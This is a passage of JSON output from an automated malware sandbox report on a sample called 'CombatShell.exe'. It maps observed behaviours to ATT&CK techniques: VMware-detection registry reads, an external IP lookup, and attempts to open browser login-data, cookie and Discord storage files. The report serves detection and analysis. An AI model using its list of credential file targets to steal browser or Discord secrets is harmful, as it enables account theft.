{\"group\":\"cf-nel\""},{"type":"linebreak"},{"type":"text","value":"\"max_age\":604800"},{"type":"linebreak"},{"type":"text","value":"\"endpoints\":[{\"url\":\"https://a.nel.cloudflare.com/report/v4?s=run%2FX2zNNc5eunIzlWFinWy%2FfhGoEnAbDB10eqbZXO%2FWB3hSAN4CnMtNZBg6sVegxf%2BAeFS9%2B92yNCIYWJ1IE4okELDemTHiQH31p1JqCA%3D%3D\"}]}"},{"type":"linebreak"},{"type":"text","value":"Server: cloudflare"},{"type":"linebreak"},{"type":"text","value":"CF-RAY: 9575f00cbb18face-SJC"},{"type":"linebreak"},{"type":"text","value":"alt-svc: h3=\":443\"; ma=86400 with response body ==>37623A32323A37333A37353A36333A36333A36353A37333A37333A32323A33613A37343A37323A37353A36353A32633A32323A36643A36353A37333A37333A36......."}],"origin":"Network Traffic","attck_id":"T1041","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1041","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Network Related","identifier":"network-23","type":7,"relevance":5,"name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 172.67.74.152 on port 443 is sent without HTTP header\n TCP traffic to 172.67.182.176 on port 443 is sent without HTTP header","description_v2":["TCP traffic to 172.67.74.152 on port 443 is sent without HTTP header","TCP traffic to 172.67.182.176 on port 443 is sent without HTTP header"],"description_v3":[{"type":"text","value":"TCP traffic to 172.67.74.152 on port 443 is sent without HTTP header"},{"type":"linebreak"},{"type":"text","value":"TCP traffic to 172.67.182.176 on port 443 is sent without HTTP header"}],"origin":"Network Traffic","attck_id":"T1071.001","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1071/001","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Unusual Characteristics","identifier":"static-0","type":0,"relevance":10,"name":"CRC value set in PE header does not match actual value","description":"\"CombatShell.exe\" claimed CRC 57567065 while the actual is CRC 57545117","description_v2":["\"CombatShell.exe\" claimed CRC 57567065 while the actual is CRC 57545117"],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" claimed CRC 57567065 while the actual is CRC 57545117"}],"origin":"Static Parser","attck_id":"T1027","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1027","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Unusual Characteristics","identifier":"static-1","type":0,"relevance":1,"name":"Imports suspicious APIs","description":"VirtualProtect\n GetProcAddress\n CopyFileExW\n MapViewOfFile\n GetTempPathW\n CreateDirectoryW\n GetModuleHandleW\n LoadLibraryExW\n Sleep\n GetFileAttributesW\n SleepEx\n DisconnectNamedPipe\n DeviceIoControl\n GetModuleHandleExW\n CreateFileMappingA\n GetSystemDirectoryW\n CreateThread\n CreateToolhelp32Snapshot\n GetModuleHandleA\n GetModuleFileNameW\n LoadLibraryW\n DeleteFileW\n CreateProcessW\n LoadLibraryA\n FindFirstFileExW\n WriteFile\n TerminateProcess\n FindNextFileW\n ConnectNamedPipe\n WriteFileEx\n CreateFileW\n GetSystemInfo\n GetCommandLineW\n GetCursorPos\n GetClipboardData\n sendto\n WSASendMsg\n accept\n recv\n listen\n WSASend\n recvfrom\n WSAStartup\n WSASendTo\n send\n socket\n closesocket\n bind\n connect\n WSASocketW","description_v2":["VirtualProtect","GetProcAddress","CopyFileExW","MapViewOfFile","GetTempPathW","CreateDirectoryW","GetModuleHandleW","LoadLibraryExW","Sleep","GetFileAttributesW","SleepEx","DisconnectNamedPipe","DeviceIoControl","GetModuleHandleExW","CreateFileMappingA","GetSystemDirectoryW","CreateThread","CreateToolhelp32Snapshot","GetModuleHandleA","GetModuleFileNameW","LoadLibraryW","DeleteFileW","CreateProcessW","LoadLibraryA","FindFirstFileExW","WriteFile","TerminateProcess","FindNextFileW","ConnectNamedPipe","WriteFileEx","CreateFileW","GetSystemInfo","GetCommandLineW","GetCursorPos","GetClipboardData","sendto","WSASendMsg","accept","recv","listen","WSASend","recvfrom","WSAStartup","WSASendTo","send","socket","closesocket","bind","connect","WSASocketW"],"description_v3":[{"type":"text","value":"VirtualProtect"},{"type":"linebreak"},{"type":"text","value":"GetProcAddress"},{"type":"linebreak"},{"type":"text","value":"CopyFileExW"},{"type":"linebreak"},{"type":"text","value":"MapViewOfFile"},{"type":"linebreak"},{"type":"text","value":"GetTempPathW"},{"type":"linebreak"},{"type":"text","value":"CreateDirectoryW"},{"type":"linebreak"},{"type":"text","value":"GetModuleHandleW"},{"type":"linebreak"},{"type":"text","value":"LoadLibraryExW"},{"type":"linebreak"},{"type":"text","value":"Sleep"},{"type":"linebreak"},{"type":"text","value":"GetFileAttributesW"},{"type":"linebreak"},{"type":"text","value":"SleepEx"},{"type":"linebreak"},{"type":"text","value":"DisconnectNamedPipe"},{"type":"linebreak"},{"type":"text","value":"DeviceIoControl"},{"type":"linebreak"},{"type":"text","value":"GetModuleHandleExW"},{"type":"linebreak"},{"type":"text","value":"CreateFileMappingA"},{"type":"linebreak"},{"type":"text","value":"GetSystemDirectoryW"},{"type":"linebreak"},{"type":"text","value":"CreateThread"},{"type":"linebreak"},{"type":"text","value":"CreateToolhelp32Snapshot"},{"type":"linebreak"},{"type":"text","value":"GetModuleHandleA"},{"type":"linebreak"},{"type":"text","value":"GetModuleFileNameW"},{"type":"linebreak"},{"type":"text","value":"LoadLibraryW"},{"type":"linebreak"},{"type":"text","value":"DeleteFileW"},{"type":"linebreak"},{"type":"text","value":"CreateProcessW"},{"type":"linebreak"},{"type":"text","value":"LoadLibraryA"},{"type":"linebreak"},{"type":"text","value":"FindFirstFileExW"},{"type":"linebreak"},{"type":"text","value":"WriteFile"},{"type":"linebreak"},{"type":"text","value":"TerminateProcess"},{"type":"linebreak"},{"type":"text","value":"FindNextFileW"},{"type":"linebreak"},{"type":"text","value":"ConnectNamedPipe"},{"type":"linebreak"},{"type":"text","value":"WriteFileEx"},{"type":"linebreak"},{"type":"text","value":"CreateFileW"},{"type":"linebreak"},{"type":"text","value":"GetSystemInfo"},{"type":"linebreak"},{"type":"text","value":"GetCommandLineW"},{"type":"linebreak"},{"type":"text","value":"GetCursorPos"},{"type":"linebreak"},{"type":"text","value":"GetClipboardData"},{"type":"linebreak"},{"type":"text","value":"sendto"},{"type":"linebreak"},{"type":"text","value":"WSASendMsg"},{"type":"linebreak"},{"type":"text","value":"accept"},{"type":"linebreak"},{"type":"text","value":"recv"},{"type":"linebreak"},{"type":"text","value":"listen"},{"type":"linebreak"},{"type":"text","value":"WSASend"},{"type":"linebreak"},{"type":"text","value":"recvfrom"},{"type":"linebreak"},{"type":"text","value":"WSAStartup"},{"type":"linebreak"},{"type":"text","value":"WSASendTo"},{"type":"linebreak"},{"type":"text","value":"send"},{"type":"linebreak"},{"type":"text","value":"socket"},{"type":"linebreak"},{"type":"text","value":"closesocket"},{"type":"linebreak"},{"type":"text","value":"bind"},{"type":"linebreak"},{"type":"text","value":"connect"},{"type":"linebreak"},{"type":"text","value":"WSASocketW"}],"origin":"Static Parser","attck_id":"T1106","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1106","stream_data":null},{"threat_level":2,"threat_level_human":"malicious","category":"Environment Awareness","identifier":"registry-56","type":3,"relevance":5,"name":"Reads the registry for VMWare specific artifacts","description":"$4f","description_v2":["\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\\\")","\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\\SLDWORKS\")","\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\")","\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\")","\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\")","\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\\HEAVEN\")","\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\\HEAVEN64\")","\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\\UNIGINE\")","\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\\VALLEY\")","\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\\JK2SP\")","\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\\CODSP\")","\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\\CODSP_NOCD\")","\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\\VIEWPERF\")","\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\\GPUTEST\")","\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\\GPUTESTGUI\")","\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\\NOBELCLINICIANVIEWER\")","\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\\PHOTOSHOP\")","\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\\RECAP\")","\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\\SHADERTOYMARK\")","\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\\SWKOTOR\")","\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\\SPAZIO3D\")","\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\\GLOBAL_MAPPER\")","\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\\COMBATSHELL\")"],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\\\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\\SLDWORKS\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\\HEAVEN\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\\HEAVEN64\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\\UNIGINE\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\\VALLEY\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\\JK2SP\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\\CODSP\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\\CODSP_NOCD\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\\VIEWPERF\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\\GPUTEST\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\\GPUTESTGUI\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\\NOBELCLINICIANVIEWER\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\\PHOTOSHOP\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\\RECAP\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\\SHADERTOYMARK\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\\SWKOTOR\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\\SPAZIO3D\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\\GLOBAL_MAPPER\")"},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKCU\\SOFTWARE\\VMWARE, INC.\\GUESTGLDRIVER\\APPLICATION SETTINGS\\COMBATSHELL\")"}],"origin":"Registry Access","attck_id":"T1012","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1012","stream_data":null},{"threat_level":2,"threat_level_human":"malicious","category":"Network Related","identifier":"string-56","type":2,"relevance":6,"name":"Found a reference to an external IP address lookup service","description":"\"api.ipify.org\" (Indicator: \"api.ipify.org\"; File: \"PCAP\")\n \"GET / HTTP/1.1accept: */*host: api.ipify.org\" (Indicator: \"api.ipify.org\"; File: \"PCAP\")\n \"api.ipify.org0\" (Indicator: \"api.ipify.org\"; File: \"00000000-00005644.00000001.288725.21F00000.00000004.mdmp, 00000000-00005644.00000002.290644.21F00000.00000004.mdmp\")\n \"api.ipify.org\" (Indicator: \"api.ipify.org\"; File: \"00000000-00005644.00000001.288725.252B0000.00000004.mdmp, 00000000-00005644.00000002.290644.252B0000.00000004.mdmp\")\n \"https://api.ipify.org/\" (Indicator: \"api.ipify.org\"; File: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp, 00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")\n \"api.ipify.org1919048\" (Indicator: \"api.ipify.org\"; File: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp, 00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","description_v2":["\"api.ipify.org\" (Indicator: \"api.ipify.org\"; File: \"PCAP\")","\"GET / HTTP/1.1accept: */*host: api.ipify.org\" (Indicator: \"api.ipify.org\"; File: \"PCAP\")","\"api.ipify.org0\" (Indicator: \"api.ipify.org\"; File: \"00000000-00005644.00000001.288725.21F00000.00000004.mdmp, 00000000-00005644.00000002.290644.21F00000.00000004.mdmp\")","\"api.ipify.org\" (Indicator: \"api.ipify.org\"; File: \"00000000-00005644.00000001.288725.252B0000.00000004.mdmp, 00000000-00005644.00000002.290644.252B0000.00000004.mdmp\")","\"https://api.ipify.org/\" (Indicator: \"api.ipify.org\"; File: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp, 00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")","\"api.ipify.org1919048\" (Indicator: \"api.ipify.org\"; File: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp, 00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"],"description_v3":[{"type":"text","value":"\"api.ipify.org\" (Indicator: \"api.ipify.org\"; File: \"PCAP\")"},{"type":"linebreak"},{"type":"text","value":"\"GET / HTTP/1.1accept: */*host: api.ipify.org\" (Indicator: \"api.ipify.org\"; File: \"PCAP\")"},{"type":"linebreak"},{"type":"text","value":"\"api.ipify.org0\" (Indicator: \"api.ipify.org\"; File: \"00000000-00005644.00000001.288725.21F00000.00000004.mdmp, 00000000-00005644.00000002.290644.21F00000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"\"api.ipify.org\" (Indicator: \"api.ipify.org\"; File: \"00000000-00005644.00000001.288725.252B0000.00000004.mdmp, 00000000-00005644.00000002.290644.252B0000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"\"https://api.ipify.org/\" (Indicator: \"api.ipify.org\"; File: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp, 00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"\"api.ipify.org1919048\" (Indicator: \"api.ipify.org\"; File: \"00000000-00005644.00000001.288725.261DB000.00000004.mdmp, 00000000-00005644.00000002.290644.261DB000.00000004.mdmp\")"}],"origin":"File/Memory","attck_id":"T1016","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1016","stream_data":null},{"threat_level":2,"threat_level_human":"malicious","category":"Network Related","identifier":"network-24","type":7,"relevance":6,"name":"Tries to identify its external IP address","description":"\"api.ipify.org\"","description_v2":["\"api.ipify.org\""],"description_v3":[{"type":"text","value":"\"api.ipify.org\""}],"origin":"Network Traffic","attck_id":"T1016","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1016","stream_data":null},{"threat_level":2,"threat_level_human":"malicious","category":"Spyware/Information Retrieval","identifier":"api-281","type":6,"relevance":10,"name":"Attempts to obtain browser login credentials (file access)","description":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data\"\n \"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data\"\n \"CombatShell.exe\" trying to open a file \"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data\"\n \"CombatShell.exe\" trying to open a file \"%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\Login Data\"","description_v2":["\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data\"","\"CombatShell.exe\" trying to open a file \"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data\"","\"CombatShell.exe\" trying to open a file \"%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\Login Data\""],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\Login Data\""}],"origin":"API Call","attck_id":"T1555.003","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1555/003","stream_data":null},{"threat_level":2,"threat_level_human":"malicious","category":"Spyware/Information Retrieval","identifier":"api-97","type":6,"relevance":10,"name":"Attempts to steal desktop application's information (file access)","description":"CombatShell.exe trying to open a file C:\\Users\\%OSUSER%\\AppData\\Roaming\\discord\\Local Storage\\leveldb related to Discord\n CombatShell.exe trying to open a file %APPDATA%\\discord\\Local Storage\\leveldb related to Discord","description_v2":["CombatShell.exe trying to open a file C:\\Users\\%OSUSER%\\AppData\\Roaming\\discord\\Local Storage\\leveldb related to Discord","CombatShell.exe trying to open a file %APPDATA%\\discord\\Local Storage\\leveldb related to Discord"],"description_v3":[{"type":"text","value":"CombatShell.exe trying to open a file %APPDATA%\\discord\\Local Storage\\leveldb related to Discord"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file %APPDATA%\\discord\\Local Storage\\leveldb related to Discord"}],"origin":"API Call","attck_id":"T1005","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1005","stream_data":null},{"threat_level":2,"threat_level_human":"malicious","category":"Spyware/Information Retrieval","identifier":"api-96","type":6,"relevance":10,"name":"Tries to steal browser sensitive information (file access)","description":"$50","description_v2":["\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\5xz6ua91.default-release\\cookies.sqlite\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\lfdjd4n4.default\\cookies.sqlite\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\AutofillStates\\Login Data\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateRevocation\\Login Data\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\chrome_shutdown_ms.txt\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\ClientSidePhishing\\Login Data\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\Login Data\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Crowd Deny\\Login Data\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\Login Data\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\First Run\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\FirstPartySetsPreloaded\\Login Data\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\first_party_sets.db\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\first_party_sets.db-journal\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\GraphiteDawnCache\\Login Data\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\GrShaderCache\\Login Data\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\hyphen-data\\Login Data\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Last Browser\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Last Version\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Local State\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\MediaFoundationWidevineCdm\\Login Data\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\MEIPreload\\Login Data\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Module Info Cache\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\OnDeviceHeadSuggestModel\\Login Data\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\OptimizationHints\\Login Data\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\Login Data\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\PKIMetadata\\Login Data\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\Login Data\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\PnaclTranslationCache\\Login Data\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\PrivacySandboxAttestationsPreloaded\\Login Data\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\RecoveryImproved\\Login Data\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing\\Login Data\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\SafetyTips\\Login Data\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\segmentation_platform\\Login Data\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\ShaderCache\\Login Data\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\Login Data\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Subresource Filter\\Login Data\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\ThirdPartyModuleList64\\Login Data\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\TpcdMetadata\\Login Data\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\TrustTokenKeyCommitments\\Login Data\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Variations\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\Login Data\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\ZxcvbnData\\Login Data\"","\"CombatShell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network\\Cookies\""],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\5xz6ua91.default-release\\cookies.sqlite\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file 